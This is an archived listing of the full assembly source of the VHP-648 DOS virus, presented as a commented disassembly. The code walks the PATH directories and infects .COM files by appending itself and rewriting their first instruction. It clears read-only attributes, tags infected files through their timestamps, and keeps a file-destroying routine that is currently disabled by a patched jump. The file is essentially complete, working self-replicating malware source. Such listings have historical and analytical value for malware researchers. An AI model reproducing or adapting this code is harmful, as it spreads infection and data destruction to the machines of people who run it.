home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VHP-648.ASM < prev    next >
Assembly Source File  |  1989-03-06  |  7KB  |  331 lines

  1.     name    Virus
  2.     title    Disassembly listing of the VHP-648 virus
  3.     .radix    16
  4. code    segment
  5.     assume    cs:code,ds:code
  6.     org    100
  7. environ equ    2C
  8.  
  9. start:
  10.     jmp    virus
  11.  
  12. message db    'Hello, world!$'
  13.  
  14.     mov    ah,9
  15.     mov    dx,offset message
  16.     int    21
  17.     int    20
  18.  
  19. virus:
  20.     push    cx        ;Save CX
  21.  
  22.     mov    dx,offset data    ;Restore original first instruction
  23. modify    equ    $-2        ;The instruction above is changed
  24.                 ; before each contamination
  25.     cld
  26.     mov    si,dx
  27.     add    si,saveins-data ;Instruction saved there
  28.     mov    di,offset start
  29.     mov    cx,3        ;Move 3 bytes
  30.     rep    movsb        ;Do it
  31.     mov    si,dx        ;Keep SI pointed at data
  32.  
  33.     mov    ah,30        ;Get DOS version
  34.     int    21
  35.     cmp    al,0        ;Less than 2.0?
  36.     jne    skip1
  37.     jmp    exit        ;Exit if so
  38.  
  39. skip1:
  40.     push    es        ;Save ES
  41.     mov    ah,2F        ;Get current DTA in ES:BX
  42.     int    21
  43.     mov    word ptr [si+0],bx    ;dtaadr
  44.     mov    word ptr [si+2],es
  45.     pop    es        ;Restore ES
  46.  
  47.     mov    dx,mydta-data
  48.     add    dx,si
  49.     mov    ah,1A        ;Set DTA
  50.     int    21
  51.  
  52.     push    es        ;Save ES & SI
  53.     push    si
  54.     mov    es,ds:[environ] ;Environment address
  55.     mov    di,0
  56. n_00015A:            ;Search 'PATH=' in the environment
  57.     pop    si        ;Restore data offset in SI
  58.     push    si
  59.     add    si,pathstr-data
  60.     lodsb
  61.     mov    cx,8000     ;Maximum 32K in environment
  62.     repne    scasb        ;Search for first letter ('P')
  63.     mov    cx,4        ;4 letters in 'PATH'
  64. n_000169:
  65.     lodsb            ;Search for next char
  66.     scasb
  67.     jne    n_00015A    ;If not found, search for next 'P'
  68.     loop    n_000169    ;Loop until done
  69.     pop    si        ;Restore SI & ES
  70.     pop    es
  71.  
  72.     mov    [si+16],di    ;Save 'PATH' offset in poffs
  73.     mov    di,si
  74.     add    di,fname-data    ;Point SI & DI at '=' sign
  75.     mov    bx,si        ;Point BX at data area
  76.     add    si,fname-data
  77.     mov    di,si
  78.     jmp    short n_0001BF
  79.  
  80. n_000185:
  81.     cmp    word ptr [si+16],6C    ;poffs
  82.     jne    n_00018F
  83.     jmp    olddta
  84. n_00018F:
  85.     push    ds
  86.     push    si
  87.     mov    ds,es:[environ]
  88.     mov    di,si
  89.     mov    si,es:[di+16]    ;poffs
  90.     add    di,fname-data
  91. n_0001A1:
  92.     lodsb
  93.     cmp    al,';'
  94.     je    n_0001B0
  95.     cmp    al,0
  96.     je    n_0001AD
  97.     stosb
  98.     jmp    n_0001A1
  99. n_0001AD:
  100.     mov    si,0
  101. n_0001B0:
  102.     pop    bx
  103.     pop    ds
  104.     mov    [bx+16],si    ;poffs
  105.     cmp    byte ptr [di-1],'\'
  106.     je    n_0001BF
  107.     mov    al,'\'          ;Add '\' if not already present
  108.     stosb
  109.  
  110. n_0001BF:
  111.     mov    [bx+18],di    ;Save '=' offset in eqoffs
  112.     mov    si,bx        ;Restore data pointer in SI
  113.     add    si,allcom-data
  114.     mov    cx,6        ;6 bytes in ASCIIZ '*.COM'
  115.     rep    movsb        ;Move '*.COM' at fname
  116.     mov    si,bx        ;Restore SI
  117.  
  118.     mov    ah,4E        ;Find first file
  119.     mov    dx,fname-data
  120.     add    dx,si
  121.     mov    cx,11b        ;Hidden, Read/Only or Normal files
  122.     int    21
  123.     jmp    short n_0001E3
  124.  
  125. findnext:
  126.     mov    ah,4F        ;Find next file
  127.     int    21
  128. n_0001E3:
  129.     jnc    n_0001E7    ;If found, try to contaminate it
  130.     jmp    n_000185    ;Otherwise search in another directory
  131.  
  132. n_0001E7:
  133.     mov    ax,[si+75]    ;Check file time
  134.     and    al,11111b    ; (the seconds, more exactly)
  135.     cmp    al,62d/2    ;Are they 62?
  136.  
  137. ;If so, file is already contains the virus, search for another:
  138.  
  139.     je    findnext
  140.     cmp    [si+79],64000d    ;Is file size greather than 64,000 bytes?
  141.     ja    findnext    ;If so, search for next file
  142.     cmp    word ptr [si+79],10d    ;Is file size less than 10 bytes?
  143.     jb    findnext    ;If so, search for next file
  144.  
  145.     mov    di,[si+18]    ;eqoffs
  146.     push    si        ;Save SI
  147.     add    si,namez-data    ;Point SI at namez
  148. n_000209:
  149.     lodsb
  150.     stosb
  151.     cmp    al,0
  152.     jne    n_000209
  153.  
  154.     pop    si        ;Restore SI
  155.     mov    ax,4300     ;Get file attributes
  156.     mov    dx,fname-data
  157.     add    dx,si
  158.     int    21
  159.  
  160.     mov    [si+8],cx    ;Save them in fattrib
  161.     mov    ax,4301     ;Set file attributes
  162.  
  163. ;The next `db's are there because MASM can't assemble
  164. ; the instruction `and cx,0FFFE' correctly (the fool!):
  165.  
  166.     db    081,0E1,0FE,0FF
  167. ;    and    cx,not 1    ;Turn off Read Only flag
  168.     mov    dx,fname-data
  169.     add    dx,si
  170.     int    21
  171.  
  172.     mov    ax,3D02     ;Open file with Read/Write access
  173.     mov    dx,fname-data
  174.     add    dx,si
  175.     int    21
  176.     jnc    n_00023E
  177.     jmp    oldattr     ;Exit on error
  178.  
  179. n_00023E:
  180.     mov    bx,ax        ;Save file handle in BX
  181.     mov    ax,5700     ;Get file date & time
  182.     int    21
  183.     mov    [si+4],cx    ;Save time in ftime
  184.     mov    [si+6],dx    ;Save date in fdate
  185.  
  186.     mov    ah,2C        ;Get system time
  187.     int    21
  188.     and    dh,111b     ;Are seconds a multiple of 8?
  189.  
  190. ;If so, destroy file (don't contaminate). Now this code is disabled.
  191.  
  192.     jmp    short n_000266    ;CHANGED. Was jnz here
  193.  
  194. ;Destroy file by rewriting an illegal jmp as first instruction:
  195.  
  196.     mov    ah,40        ;Write to file handle
  197.     mov    cx,5        ;Write 5 bytes
  198.     mov    dx,si
  199.     add    dx,bad_jmp-data ;Write THESE bytes
  200.     int    21        ;Do it
  201.     jmp    short oldtime    ;Exit
  202.  
  203. ;Try to contaminate file:
  204.  
  205. ;Read first instruction of the file (first 3 bytes) and save it in saveins:
  206.  
  207. n_000266:
  208.     mov    ah,3F        ;Read from file handle
  209.     mov    cx,3        ;Read 3 bytes
  210.     mov    dx,saveins-data ;Put them there
  211.     add    dx,si
  212.     int    21
  213.     jc    oldtime     ;Exit on error
  214.     cmp    ax,3        ;Are really 3 bytes read?
  215.     jne    oldtime     ;Exit if not
  216.  
  217. ;Move file pointer to end of file:
  218.  
  219.     mov    ax,4202     ;LSEEK from end of file
  220.     mov    cx,0        ;0 bytes from end
  221.     mov    dx,0
  222.     int    21
  223.     jc    oldtime     ;Exit on error
  224.  
  225.     mov    cx,ax        ;Get the value of file pointer
  226.     sub    ax,3        ;Subtract 3 from it to get real code size
  227.     mov    [si+14d],ax    ;Save result in filloc
  228.     add    cx,data-(virus-100)
  229.     mov    di,si
  230.     sub    di,data-modify    ;A little self-modification
  231.     mov    [di],cx
  232.  
  233.     mov    ah,40        ;Write to file handle
  234.     mov    cx,enddata-virus  ;Virus code length as bytes to be written
  235.     mov    dx,si
  236.     sub    dx,data-virus    ;Now DX points at virus label
  237.     int    21
  238.     jc    oldtime     ;Exit on error
  239.     cmp    ax,enddata-virus    ;Are all bytes written?
  240.     jne    oldtime     ;Exit if not
  241.  
  242.     mov    ax,4200     ;LSEEK from the beginning of the file
  243.     mov    cx,0        ;Just at the file beginning
  244.     mov    dx,0
  245.     int    21
  246.     jc    oldtime     ;Exit on error
  247.  
  248. ;Rewrite the first instruction of the file with a jump to the virus code:
  249.  
  250.     mov    ah,40        ;Write to file handle
  251.     mov    cx,3        ;3 bytes to write
  252.     mov    dx,si
  253.     add    dx,newjmp-data    ;Write THESE bytes
  254.     int    21
  255.  
  256. oldtime:
  257.     mov    dx,[si+6]    ;Restore file date
  258.     mov    cx,[si+4]    ; and time
  259.  
  260. ;And these again are due to the MASM 5.0 foolness:
  261.  
  262.     db    081,0E1,0E0,0FF
  263.     db    081,0C9,01F,000
  264. ;    and    cx,not 11111b
  265. ;    or    cx,11111b    ;Set seconds to 62 (?!)
  266.  
  267.     mov    ax,5701     ;Set file date & time
  268.     int    21
  269.     mov    ah,3E        ;Close file handle
  270.     int    21
  271.  
  272. oldattr:
  273.     mov    ax,4301     ;Set file attributes
  274.     mov    cx,[si+8]    ;They were saved in fattrib
  275.     mov    dx,fname-data
  276.     add    dx,si
  277.     int    21
  278.  
  279. olddta:
  280.     push    ds        ;Save DS
  281.     mov    ah,1A        ;Set DTA
  282.     mov    dx,[si+0]    ;Restore saved DTA
  283.     mov    ds,[si+2]
  284.     int    21
  285.     pop    ds        ;Restore DS
  286.  
  287. exit:
  288.     pop    cx        ;Restore CX
  289.     xor    ax,ax        ;Clear registers
  290.     xor    bx,bx
  291.     xor    dx,dx
  292.     xor    si,si
  293.     mov    di,100        ;Jump to CS:100
  294.     push    di        ; by doing funny RET
  295.     xor    di,di
  296.     ret    -1
  297.  
  298. data    label    byte        ;Data section
  299. dtaaddr dd    ?        ;Disk Transfer Address
  300. ftime    dw    ?        ;File date
  301. fdate    dw    ?        ;File time
  302. fattrib dw    ?        ;File attribute
  303. saveins db    0EBh,0Fh,90    ;Original first 3 bytes
  304. newjmp    db    0E9        ;Code of jmp instruction
  305. filloc    dw    ?        ;File pointer is saved here
  306. allcom    db    '*.COM',0       ;Filespec to search for
  307. poffs    dw    ?        ;Address of 'PATH' string
  308. eqoffs    dw    ?        ;Address of '=' sign
  309. pathstr db    'PATH='
  310. fname    db    40 dup (' ')    ;Path name to search for
  311.  
  312. ;Disk Transfer Address for Find First / Find Next:
  313.  
  314. mydta    label    byte
  315. drive    db    ?        ;Drive to search for
  316. pattern db    13d dup (?)    ;Search pattern
  317. reserve db    7 dup (?)    ;Not used
  318. attrib    db    ?        ;File attribute
  319. time    dw    ?        ;File time
  320. date    dw    ?        ;File date
  321. fsize    dd    ?        ;File size
  322. namez    db    13d dup (?)    ;File name found
  323.  
  324. ;This replaces the first instruction of a destroyed file:
  325.  
  326. bad_jmp db    0EA,0Bh,2,13,58
  327. enddata label    byte
  328.  
  329. code    ends
  330.     end    start
  331.